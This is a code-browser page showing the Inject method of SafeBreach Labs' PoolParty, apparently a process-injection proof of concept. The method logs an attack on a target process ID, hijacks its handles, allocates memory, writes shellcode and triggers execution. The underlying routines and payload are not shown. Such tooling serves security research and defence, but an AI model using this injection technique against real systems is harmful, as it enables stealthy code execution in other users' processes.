MCPcopy Create free account
hub / github.com/SafeBreach-Labs/PoolParty / Inject

Method Inject

PoolParty/PoolParty.cpp:63–72  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

61}
62
63void PoolParty::Inject()
64{
65 BOOST_LOG_TRIVIAL(info) << boost::format("Starting PoolParty attack against process id: %d") % m_dwTargetPid;
66 m_p_hTargetPid = this->GetTargetProcessHandle();
67 this->HijackHandles();
68 m_ShellcodeAddress = this->AllocateShellcodeMemory();
69 this->WriteShellcode();
70 this->SetupExecution();
71 BOOST_LOG_TRIVIAL(info) << "PoolParty attack completed successfully";
72}
73
74AsynchronousWorkItemInsertion::AsynchronousWorkItemInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize)
75 : PoolParty{ dwTargetPid, cShellcode, szShellcodeSize }

Callers 1

mainFunction · 0.80

Calls 5

HijackHandlesMethod · 0.95
WriteShellcodeMethod · 0.95
SetupExecutionMethod · 0.80

Tested by

no test coverage detected